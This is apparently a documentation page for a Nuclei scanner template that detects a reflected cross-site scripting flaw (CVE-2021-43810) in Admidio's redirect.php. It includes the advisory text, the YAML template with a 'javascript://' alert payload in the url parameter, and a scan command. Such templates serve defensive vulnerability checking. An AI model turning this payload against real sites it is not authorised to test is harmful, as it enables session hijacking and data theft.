Admidio - Cross-Site Scripting
ID: CVE-2021-43810
Severity: medium
Author: gy741
Tags: cve2021,cve,admidio,xss
Description
Section titled “Description”A cross-site scripting vulnerability is present in Admidio prior to version 4.0.12. The reflected cross-site scripting vulnerability occurs because redirect.php does not properly validate the value of the url parameter. Through this vulnerability, an attacker is capable to execute malicious scripts.
YAML Source
Section titled “YAML Source”id: CVE-2021-43810
info: name: Admidio - Cross-Site Scripting author: gy741 severity: medium description: A cross-site scripting vulnerability is present in Admidio prior to version 4.0.12. The reflected cross-site scripting vulnerability occurs because redirect.php does not properly validate the value of the url parameter. Through this vulnerability, an attacker is capable to execute malicious scripts. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. remediation: Upgrade to version 4.0.12 or later. reference: - https://github.com/Admidio/admidio/security/advisories/GHSA-3qgf-qgc3-42hh - https://nvd.nist.gov/vuln/detail/CVE-2021-43810 - https://github.com/Admidio/admidio/commit/fcb0609abc1d2f65bc1377866bd678e5d891404b - https://github.com/Admidio/admidio/commit/c043267d362f7813543cc2785119bf3e3e54fe21 - https://github.com/Admidio/admidio/releases/tag/v4.0.12 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-43810 cwe-id: CWE-79 epss-score: 0.00396 epss-percentile: 0.73393 cpe: cpe:2.3:a:admidio:admidio:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: admidio product: admidio tags: cve2021,cve,admidio,xss
http: - method: GET path: - '{{BaseURL}}/adm_program/system/redirect.php?url=javascript://%250aalert(document.domain)'
matchers-condition: and matchers: - type: word part: body words: - 'please click <a href="javascript://%0aalert(document.domain)" target="_self">'
- type: word part: header words: - "text/html"
- type: status status: - 200# digest: 4a0a00473045022060a56b72567bcb843d53f89c506737b3a5c475dc0d69e6ac29d22abb4892bcfd0221008fd6f47dd5882000f153229a13a726ef3242a3692c9e4a4c120fba2306239679:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-43810.yaml"